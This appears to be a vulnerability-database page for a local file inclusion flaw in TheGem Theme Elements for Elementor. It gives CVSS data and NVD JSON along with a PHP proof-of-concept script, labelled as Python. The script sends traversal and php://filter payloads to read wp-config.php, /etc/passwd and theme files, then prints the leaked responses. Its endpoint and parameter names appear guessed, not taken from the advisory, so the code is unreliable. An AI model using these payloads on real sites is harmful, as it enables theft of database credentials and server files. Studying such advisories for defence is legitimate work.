Security Vulnerability Report
中文
CVE-2025-69356 CVSS 7.5 HIGH

CVE-2025-69356

Published: 2026-01-06 17:15:48
Last Modified: 2026-04-15 00:35:42

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in CodexThemes TheGem Theme Elements (for Elementor) thegem-elements-elementor allows PHP Local File Inclusion.This issue affects TheGem Theme Elements (for Elementor): from n/a through <= 5.11.0.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

TheGem Theme Elements for Elementor <= 5.11.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-69356 PoC - TheGem Theme Elements Local File Inclusion * Target: WordPress TheGem Theme Elements for Elementor Plugin <= 5.11.0 * Vulnerability: Local File Inclusion via unprotected file include parameter */ $target = "http://target-site.com/wp-content/plugins/thegem-elements-elementor/"; $target_file = "includes/file.php"; // Vulnerable file endpoint // LFI payloads for different purposes $payloads = [ // Read wp-config.php "?file=../../../../wp-config.php", // Read /etc/passwd "?file=../../../../../../etc/passwd", // Read PHP source using php://filter "?file=php://filter/convert.base64-encode/resource=wp-config.php", // Path traversal to read arbitrary file "?action=thegem_elementor&template=../../../../../../../etc/passwd", // Read theme functions.php "?file=../../themes/thegem/functions.php" ]; echo "[*] CVE-2025-69356 LFI PoC\n"; echo "[*] Target: $target\n\n"; foreach ($payloads as $payload) { $url = $target . $target_file . $payload; echo "[+] Testing: $url\n"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code == 200 && !empty($response)) { echo "[!] Potential sensitive data leaked (HTTP $http_code)\n"; echo substr($response, 0, 500) . "\n\n"; } } echo "[*] PoC execution completed\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-69356", "sourceIdentifier": "[email protected]", "published": "2026-01-06T17:15:48.207", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in CodexThemes TheGem Theme Elements (for Elementor) thegem-elements-elementor allows PHP Local File Inclusion.This issue affects TheGem Theme Elements (for Elementor): from n/a through <= 5.11.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/thegem-elements-elementor/vulnerability/wordpress-thegem-theme-elements-for-elementor-plugin-5-11-0-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}